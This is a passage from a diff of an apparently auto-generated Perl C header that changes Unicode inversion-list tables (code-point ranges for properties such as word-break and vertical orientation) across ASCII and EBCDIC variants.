0x516, + 0x517, + 0x518, + 0x519, + 0x51A, + 0x51B, + 0x51C, + 0x51D, + 0x51E, + 0x51F, + 0x520, + 0x521, + 0x522, + 0x523, + 0x524, + 0x525, + 0x526, + 0x527, + 0x528, + 0x529, + 0x52A, + 0x52B, + 0x52C, + 0x52D, + 0x52E, + 0x52F, + 0x531, + 0x557, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x13A0, + 0x13F6, + 0x1E00, + 0x1E01, + 0x1E02, + 0x1E03, + 0x1E04, + 0x1E05, + 0x1E06, + 0x1E07, + 0x1E08, + 0x1E09, + 0x1E0A, + 0x1E0B, + 0x1E0C, + 0x1E0D, + 0x1E0E, + 0x1E0F, + 0x1E10, + 0x1E11, + 0x1E12, + 0x1E13, + 0x1E14, + 0x1E15, + 0x1E16, + 0x1E17, + 0x1E18, + 0x1E19, + 0x1E1A, + 0x1E1B, + 0x1E1C, + 0x1E1D, + 0x1E1E, + 0x1E1F, + 0x1E20, + 0x1E21, + 0x1E22, + 0x1E23, + 0x1E24, + 0x1E25, + 0x1E26, + 0x1E27, + 0x1E28, + 0x1E29, + 0x1E2A, + 0x1E2B, + 0x1E2C, + 0x1E2D, + 0x1E2E, + 0x1E2F, + 0x1E30, + 0x1E31, + 0x1E32, + 0x1E33, + 0x1E34, + 0x1E35, + 0x1E36, + 0x1E37, + 0x1E38, + 0x1E39, + 0x1E3A, + 0x1E3B, + 0x1E3C, + 0x1E3D, + 0x1E3E, + 0x1E3F, + 0x1E40, + 0x1E41, + 0x1E42, + 0x1E43, + 0x1E44, + 0x1E45, + 0x1E46, + 0x1E47, + 0x1E48, + 0x1E49, + 0x1E4A, + 0x1E4B, + 0x1E4C, + 0x1E4D, + 0x1E4E, + 0x1E4F, + 0x1E50, + 0x1E51, + 0x1E52, + 0x1E53, + 0x1E54, + 0x1E55, + 0x1E56, + 0x1E57, + 0x1E58, + 0x1E59, + 0x1E5A, + 0x1E5B, + 0x1E5C, + 0x1E5D, + 0x1E5E, + 0x1E5F, + 0x1E60, + 0x1E61, + 0x1E62, + 0x1E63, + 0x1E64, + 0x1E65, + 0x1E66, + 0x1E67, + 0x1E68, + 0x1E69, + 0x1E6A, + 0x1E6B, + 0x1E6C, + 0x1E6D, + 0x1E6E, + 0x1E6F, + 0x1E70, + 0x1E71, + 0x1E72, + 0x1E73, + 0x1E74, + 0x1E75, + 0x1E76, + 0x1E77, + 0x1E78, + 0x1E79, + 0x1E7A, + 0x1E7B, + 0x1E7C, + 0x1E7D, + 0x1E7E, + 0x1E7F, + 0x1E80, + 0x1E81, + 0x1E82, + 0x1E83, + 0x1E84, + 0x1E85, + 0x1E86, + 0x1E87, + 0x1E88, + 0x1E89, + 0x1E8A, + 0x1E8B, + 0x1E8C, + 0x1E8D, + 0x1E8E, + 0x1E8F, + 0x1E90, + 0x1E91, + 0x1E92, + 0x1E93, + 0x1E94, + 0x1E95, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1EA1, + 0x1EA2, + 0x1EA3, + 0x1EA4, + 0x1EA5, + 0x1EA6, + 0x1EA7, + 0x1EA8, + 0x1EA9, + 0x1EAA, + 0x1EAB, + 0x1EAC, + 0x1EAD, + 0x1EAE, + 0x1EAF, + 0x1EB0, + 0x1EB1, + 0x1EB2, + 0x1EB3, + 0x1EB4, + 0x1EB5, + 0x1EB6, + 0x1EB7, + 0x1EB8, + 0x1EB9, + 0x1EBA, + 0x1EBB, + 0x1EBC, + 0x1EBD, + 0x1EBE, + 0x1EBF, + 0x1EC0, + 0x1EC1, + 0x1EC2, + 0x1EC3, + 0x1EC4, + 0x1EC5, + 0x1EC6, + 0x1EC7, + 0x1EC8, + 0x1EC9, + 0x1ECA, + 0x1ECB, + 0x1ECC, + 0x1ECD, + 0x1ECE, + 0x1ECF, + 0x1ED0, + 0x1ED1, + 0x1ED2, + 0x1ED3, + 0x1ED4, + 0x1ED5, + 0x1ED6, + 0x1ED7, + 0x1ED8, + 0x1ED9, + 0x1EDA, + 0x1EDB, + 0x1EDC, + 0x1EDD, + 0x1EDE, + 0x1EDF, + 0x1EE0, + 0x1EE1, + 0x1EE2, + 0x1EE3, + 0x1EE4, + 0x1EE5, + 0x1EE6, + 0x1EE7, + 0x1EE8, + 0x1EE9, + 0x1EEA, + 0x1EEB, + 0x1EEC, + 0x1EED, + 0x1EEE, + 0x1EEF, + 0x1EF0, + 0x1EF1, + 0x1EF2, + 0x1EF3, + 0x1EF4, + 0x1EF5, + 0x1EF6, + 0x1EF7, + 0x1EF8, + 0x1EF9, + 0x1EFA, + 0x1EFB, + 0x1EFC, + 0x1EFD, + 0x1EFE, + 0x1EFF, + 0x1F08, + 0x1F10, + 0x1F18, + 0x1F1E, + 0x1F28, + 0x1F30, + 0x1F38, + 0x1F40, + 0x1F48, + 0x1F4E, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1FB8, + 0x1FBC, + 0x1FC8, + 0x1FCC, + 0x1FD8, + 0x1FDC, + 0x1FE8, + 0x1FED, + 0x1FF8, + 0x1FFC, 0x2102, 0x2103, - 0x210A, - 0x210F, + 0x2107, + 0x2108, + 0x210B, + 0x210E, 0x2110, 0x2113, 0x2115, 0x2116, - 0x2118, + 0x2119, 0x211E, 0x2124, 0x2125, @@ -351644,459 +61546,508 @@ static const UV PL_VO__U_invlist[] = { /* for EBCDIC 037 */ 0x2129, 0x212A, 0x212E, - 0x212F, - 0x2135, + 0x2130, + 0x2134, + 0x213E, 0x2140, 0x2145, - 0x214B, - 0x214C, - 0x214E, - 0x214F, - 0x218A, - 0x218C, - 0x2190, - 0x221E, - 0x221F, - 0x2234, - 0x2236, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2324, - 0x2329, - 0x232B, - 0x232C, - 0x237D, - 0x239B, - 0x23BE, - 0x23CE, - 0x23CF, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E2, - 0x2423, - 0x2424, - 0x2500, - 0x25A0, - 0x261A, - 0x2620, - 0x2768, - 0x2776, - 0x2794, - 0x2B12, - 0x2B30, - 0x2B50, - 0x2B5A, - 0x2BB8, - 0x2BD2, - 0x2BD3, - 0x2BEC, - 0x2BF0, + 0x2146, + 0x2160, + 0x2170, + 0x2183, + 0x2184, + 0x24B6, + 0x24D0, 0x2C00, - 0x2E80, - 0x3001, - 0x3003, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, - 0x3041, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, - 0x3097, - 0x309B, - 0x309D, - 0x30A0, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, - 0x30FC, - 0x30FD, - 0x3127, - 0x3128, - 0x31F0, - 0x3200, - 0x3300, - 0x3358, - 0x337B, - 0x3380, - 0xA4D0, - 0xA960, - 0xA980, - 0xAC00, - 0xD800, - 0xE000, - 0xFB00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE49, - 0xFE53, - 0xFE58, - 0xFE5F, - 0xFE63, - 0xFE67, - 0xFE70, - 0xFF02, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0F, - 0xFF1A, - 0xFF20, + 0x2C2F, + 0x2C60, + 0x2C61, + 0x2C62, + 0x2C65, + 0x2C67, + 0x2C68, + 0x2C69, + 0x2C6A, + 0x2C6B, + 0x2C6C, + 0x2C6D, + 0x2C71, + 0x2C72, + 0x2C73, + 0x2C75, + 0x2C76, + 0x2C7E, + 0x2C81, + 0x2C82, + 0x2C83, + 0x2C84, + 0x2C85, + 0x2C86, + 0x2C87, + 0x2C88, + 0x2C89, + 0x2C8A, + 0x2C8B, + 0x2C8C, + 0x2C8D, + 0x2C8E, + 0x2C8F, + 0x2C90, + 0x2C91, + 0x2C92, + 0x2C93, + 0x2C94, + 0x2C95, + 0x2C96, + 0x2C97, + 0x2C98, + 0x2C99, + 0x2C9A, + 0x2C9B, + 0x2C9C, + 0x2C9D, + 0x2C9E, + 0x2C9F, + 0x2CA0, + 0x2CA1, + 0x2CA2, + 0x2CA3, + 0x2CA4, + 0x2CA5, + 0x2CA6, + 0x2CA7, + 0x2CA8, + 0x2CA9, + 0x2CAA, + 0x2CAB, + 0x2CAC, + 0x2CAD, + 0x2CAE, + 0x2CAF, + 0x2CB0, + 0x2CB1, + 0x2CB2, + 0x2CB3, + 0x2CB4, + 0x2CB5, + 0x2CB6, + 0x2CB7, + 0x2CB8, + 0x2CB9, + 0x2CBA, + 0x2CBB, + 0x2CBC, + 0x2CBD, + 0x2CBE, + 0x2CBF, + 0x2CC0, + 0x2CC1, + 0x2CC2, + 0x2CC3, + 0x2CC4, + 0x2CC5, + 0x2CC6, + 0x2CC7, + 0x2CC8, + 0x2CC9, + 0x2CCA, + 0x2CCB, + 0x2CCC, + 0x2CCD, + 0x2CCE, + 0x2CCF, + 0x2CD0, + 0x2CD1, + 0x2CD2, + 0x2CD3, + 0x2CD4, + 0x2CD5, + 0x2CD6, + 0x2CD7, + 0x2CD8, + 0x2CD9, + 0x2CDA, + 0x2CDB, + 0x2CDC, + 0x2CDD, + 0x2CDE, + 0x2CDF, + 0x2CE0, + 0x2CE1, + 0x2CE2, + 0x2CE3, + 0x2CEB, + 0x2CEC, + 0x2CED, + 0x2CEE, + 0x2CF2, + 0x2CF3, + 0xA640, + 0xA641, + 0xA642, + 0xA643, + 0xA644, + 0xA645, + 0xA646, + 0xA647, + 0xA648, + 0xA649, + 0xA64A, + 0xA64B, + 0xA64C, + 0xA64D, + 0xA64E, + 0xA64F, + 0xA650, + 0xA651, + 0xA652, + 0xA653, + 0xA654, + 0xA655, + 0xA656, + 0xA657, + 0xA658, + 0xA659, + 0xA65A, + 0xA65B, + 0xA65C, + 0xA65D, + 0xA65E, + 0xA65F, + 0xA660, + 0xA661, + 0xA662, + 0xA663, + 0xA664, + 0xA665, + 0xA666, + 0xA667, + 0xA668, + 0xA669, + 0xA66A, + 0xA66B, + 0xA66C, + 0xA66D, + 0xA680, + 0xA681, + 0xA682, + 0xA683, + 0xA684, + 0xA685, + 0xA686, + 0xA687, + 0xA688, + 0xA689, + 0xA68A, + 0xA68B, + 0xA68C, + 0xA68D, + 0xA68E, + 0xA68F, + 0xA690, + 0xA691, + 0xA692, + 0xA693, + 0xA694, + 0xA695, + 0xA696, + 0xA697, + 0xA698, + 0xA699, + 0xA69A, + 0xA69B, + 0xA722, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, + 0xA78B, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA790, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, + 0xA7AF, + 0xA7B0, + 0xA7B5, + 0xA7B6, + 0xA7B7, + 0xFF21, 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF5B, - 0xFFE0, - 0xFFE3, - 0xFFE4, - 0xFFE8, - 0xFFF0, - 0xFFF9, - 0xFFFC, - 0xFFFE, - 0x10980, - 0x109A0, - 0x11580, - 0x11600, - 0x11A00, - 0x11AB0, - 0x13000, - 0x13430, - 0x14400, - 0x14680, - 0x16FE0, - 0x18B00, - 0x1B000, - 0x1B130, - 0x1B170, - 0x1B300, - 0x1D000, - 0x1D200, - 0x1D300, - 0x1D380, - 0x1D800, - 0x1DAB0, - 0x1F000, - 0x1F200, - 0x1F202, - 0x1F800, - 0x1F900, - 0x1FA00, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_VS_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x180B, - 0x180E, - 0xFE00, - 0xFE10, - 0xE0100, - 0xE01F0 -}; - -static const UV PL_VSSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE0100, - 0xE01F0 -}; - -static const UV PL_WARA_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, + 0x10400, + 0x10428, + 0x104B0, + 0x104D4, + 0x10C80, + 0x10CB3, 0x118A0, - 0x118F3, - 0x118FF, - 0x11900 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__DQ_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x22, - 0x23 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__DQ_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7F, - 0x80 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__DQ_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7F, - 0x80 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_WB__EB_invlist[] = { /* for all charsets */ - 63, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x261D, - 0x261E, - 0x26F9, - 0x26FA, - 0x270A, - 0x270E, - 0x1F385, - 0x1F386, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F4AA, - 0x1F4AB, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE -}; - -static const UV PL_WB__EBG_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F466, - 0x1F46A -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__EX_invlist[] = { /* for ASCII/Latin1 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5F, - 0x60, - 0x202F, - 0x2030, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFF3F, - 0xFF40 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__EX_invlist[] = { /* for EBCDIC 1047 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6D, - 0x6E, - 0x202F, - 0x2030, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFF3F, - 0xFF40 + 0x118C0, + 0x1D400, + 0x1D41A, + 0x1D434, + 0x1D44E, + 0x1D468, + 0x1D482, + 0x1D49C, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4B6, + 0x1D4D0, + 0x1D4EA, + 0x1D504, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D538, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, + 0x1D6A8, + 0x1D6C1, + 0x1D6E2, + 0x1D6FB, + 0x1D71C, + 0x1D735, + 0x1D756, + 0x1D76F, + 0x1D790, + 0x1D7A9, + 0x1D7CA, + 0x1D7CB, + 0x1E900, + 0x1E922, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__EX_invlist[] = { /* for EBCDIC 037 */ - 15, /* Number of elements */ +static const UV XPosixWord_invlist[] = { /* for EBCDIC 1047 */ + 1385, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x42, + 0x4A, + 0x51, + 0x5A, + 0x62, + 0x6A, 0x6D, 0x6E, - 0x202F, - 0x2030, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFF3F, - 0xFF40 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ - 533, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, + 0x70, + 0x79, + 0x80, + 0x8A, + 0x8C, + 0x8F, + 0x91, + 0x9D, + 0x9E, + 0x9F, + 0xA0, + 0xA1, + 0xA2, + 0xAA, + 0xAC, + 0xAD, + 0xAE, + 0xAF, + 0xBA, + 0xBB, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xFA, + 0xFB, + 0xFF, + 0x100, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2E0, + 0x2E5, + 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, 0x300, - 0x370, + 0x375, + 0x376, + 0x378, + 0x37A, + 0x37E, + 0x37F, + 0x380, + 0x386, + 0x387, + 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, 0x483, - 0x48A, + 0x530, + 0x531, + 0x557, + 0x559, + 0x55A, + 0x561, + 0x588, 0x591, 0x5BE, 0x5BF, @@ -352107,66 +62058,90 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0x5C6, 0x5C7, 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F3, 0x610, 0x61B, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, + 0x620, + 0x66A, + 0x66E, + 0x6D4, + 0x6D5, 0x6DD, 0x6DF, - 0x6E5, - 0x6E7, 0x6E9, 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, + 0x6FD, + 0x6FF, + 0x700, + 0x710, 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, + 0x74D, + 0x7B2, + 0x7C0, + 0x7F6, + 0x7FA, + 0x7FB, + 0x800, 0x82E, - 0x859, + 0x840, 0x85C, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, 0x8D4, 0x8E2, 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, 0x964, - 0x981, + 0x966, + 0x970, + 0x971, 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, 0x9BC, - 0x9BD, - 0x9BE, 0x9C5, 0x9C7, 0x9C9, 0x9CB, - 0x9CE, + 0x9CF, 0x9D7, 0x9D8, - 0x9E2, + 0x9DC, + 0x9DE, + 0x9DF, 0x9E4, + 0x9E6, + 0x9F2, 0xA01, 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, 0xA3C, 0xA3D, 0xA3E, @@ -352177,29 +62152,55 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0xA4E, 0xA51, 0xA52, - 0xA70, - 0xA72, - 0xA75, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, 0xA76, 0xA81, 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, 0xABC, - 0xABD, - 0xABE, 0xAC6, 0xAC7, 0xACA, 0xACB, 0xACE, - 0xAE2, + 0xAD0, + 0xAD1, + 0xAE0, 0xAE4, + 0xAE6, + 0xAF0, + 0xAF9, 0xAFA, - 0xB00, 0xB01, 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, 0xB3C, - 0xB3D, - 0xB3E, 0xB45, 0xB47, 0xB49, @@ -352207,21 +62208,57 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0xB4E, 0xB56, 0xB58, - 0xB62, + 0xB5C, + 0xB5E, + 0xB5F, 0xB64, + 0xB66, + 0xB70, + 0xB71, + 0xB72, 0xB82, - 0xB83, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, 0xBBE, 0xBC3, 0xBC6, 0xBC9, 0xBCA, 0xBCE, + 0xBD0, + 0xBD1, 0xBD7, 0xBD8, + 0xBE6, + 0xBF0, 0xC00, 0xC04, - 0xC3E, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, 0xC45, 0xC46, 0xC49, @@ -352229,13 +62266,25 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0xC4E, 0xC55, 0xC57, - 0xC62, + 0xC58, + 0xC5B, + 0xC60, 0xC64, - 0xC81, + 0xC66, + 0xC70, + 0xC80, 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, 0xCBC, - 0xCBD, - 0xCBE, 0xCC5, 0xCC6, 0xCC9, @@ -352243,24 +62292,48 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0xCCE, 0xCD5, 0xCD7, - 0xCE2, + 0xCDE, + 0xCDF, + 0xCE0, 0xCE4, - 0xD00, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, 0xD3B, 0xD3D, - 0xD3E, 0xD45, 0xD46, 0xD49, 0xD4A, - 0xD4E, - 0xD57, + 0xD4F, + 0xD54, 0xD58, - 0xD62, + 0xD5F, 0xD64, + 0xD66, + 0xD70, + 0xD7A, + 0xD80, 0xD82, 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, 0xDCA, 0xDCB, 0xDCF, @@ -352269,24 +62342,58 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0xDD7, 0xDD8, 0xDE0, + 0xDE6, + 0xDF0, 0xDF2, 0xDF4, - 0xE31, - 0xE32, - 0xE34, + 0xE01, 0xE3B, - 0xE47, + 0xE40, 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, + 0xE50, + 0xE5A, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, 0xEBA, 0xEBB, - 0xEBD, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, 0xEC8, 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF01, 0xF18, 0xF1A, + 0xF20, + 0xF2A, 0xF35, 0xF36, 0xF37, @@ -352294,293 +62401,767 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0xF39, 0xF3A, 0xF3E, - 0xF40, + 0xF48, + 0xF49, + 0xF6D, 0xF71, 0xF85, 0xF86, - 0xF88, - 0xF8D, 0xF98, 0xF99, 0xFBD, 0xFC6, 0xFC7, - 0x102B, - 0x103F, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, + 0x1000, + 0x104A, + 0x1050, 0x109E, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x10FB, + 0x10FC, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 